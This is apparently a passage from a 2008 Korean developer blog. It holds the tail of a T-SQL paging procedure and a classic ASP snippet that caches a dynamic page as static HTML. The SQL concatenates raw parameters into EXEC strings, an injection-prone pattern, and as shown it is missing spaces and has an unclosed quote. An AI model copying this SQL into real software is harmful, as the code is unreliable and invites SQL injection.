(SELECT TOP' + @strPageSize + ' ' + @strPK + 'FROM' + @strTables +
' WHERE' + @strPK + 'NOT IN' + '
(SELECT TOP' + @strSkippedRows + ' ' + @strPK + 'FROM' + @strTables +
@strFilterCriteria + @strGroupCriteria + @strSortCriteria + ') ' +
@strSimpleFilter +
@strGroupCriteria +
@strSortCriteria + ') ' +
@strGroupCriteria +
@strSortCriteria
)
END -- 특정 페이지를 지정한 경우
/* 전체 레코드 수를 반환하도록 지정된 경우 */
IF @blnGetRecordCount = 1
IF @strGroupCriteria != ''
EXEC (
'SELECT COUNT(*) AS RECORDCOUNT FROM (SELECT COUNT(*) FROM' +
@strTables + @strFilterCriteria + @strGroupCriteria + ') AS tbl (id)
)
ELSE
EXEC (
'SELECT COUNT(*) AS RECORDCOUNT FROM' + @strTables + @strFilterCriteria

+ @strGroupCriteria)
GO

출처 : SQL2000 매거진

2008/02/21 16:02 2008/02/21 16:02
사용자 삽입 이미지
아바타를 꾸미는 소스 활용해보세요!!
2008/02/21 16:00 2008/02/21 16:00

데브피아에서 함희수(hhs93)님이 쓰신글입니다.

굉장히 유용한 팁입니다. 웹사이트가 느려지는 경우가 과도한 트래픽아니면, 잦은 디비연결 요구거든요.

그래서 대부분의 메인페이지는 디비연결을 최소화 하기 위해서 순수한 html로 띄워놓습니다. 변경되는

내용은 배치처리로 반영하구요. 밑에서 부터 원문입니다.


출처: http://www.devpia.com 



태요 사이트에서 올렸는데요..

여기에도 한번 올려봅니다.

다들 아시는 내용이 아닌지..???

삭제하라면 삭제 하겠습니다.


사이트 방문자가 많은 경우에
메인에 디비로 연결해서 하게 되면은 서버에 부하를 많이 주게 됩니다
그래서 일반적으로 배치를 돌려서 파싱된 htm파일로 만들어서
그냥 htm파일을 실행하게 합니다.
간단하게 하는 방법이니 참고 하세요.


Set objWinHttp = Server.CreateObject("WinHttp.WinHttpRequest.5.1") objWinHttp.Open "GET", "실행할 asp파일경로(예.http://www.aaa.com/index.asp)", false objWinHttp.Send() returnmsg = fnStreamBinaryToString(objWinHttp.ResponseBody, "euc-kr") set objWinHttp = nothing
dim CurrentDirectory CurrentDirectory=server.MapPath("/")&"\"'저장할 파일 경로 Userfilename=CurrentDirectory & "index.htm" dim objFso set objFso=server.CreateObject("Scripting.Filesystemobject") set objFiler=objFso.CreateTextFile (Userfilename, true) set objFiler=nothing
dim objFile set objFile=objFSO.OpenTextFile(Userfilename,8,true) objFile.WriteLine returnmsg objFile.close set objFso=nothing

Function fnStreamBinaryToString(Binary, CharSet) Const adTypeText = 2 Const adTypeBinary = 1
'//Create Stream object Dim BinaryStream 'As New Stream Set BinaryStream = CreateObject("ADODB.Stream") '//Specify stream type - we want To save text/string data. BinaryStream.Type = adTypeBinary '//Open the stream And write text/string data To the object BinaryStream.Open BinaryStream.Write Binary '//Change stream type To binary BinaryStream.Position = 0 BinaryStream.Type = adTypeText '//Specify charset For the source text (unicode) data. If Len(CharSet) > 0 Then BinaryStream.CharSet = CharSet Else BinaryStream.CharSet = "us-ascii" End If '//Open the stream And get binary data from the object fnStreamBinaryToString = BinaryStream.ReadText End Function
위와 같이 사용하시면 어떨지 모르겠네요..
지금까지 초보였습니다.
2008/02/21 15:58 2008/02/21 15:58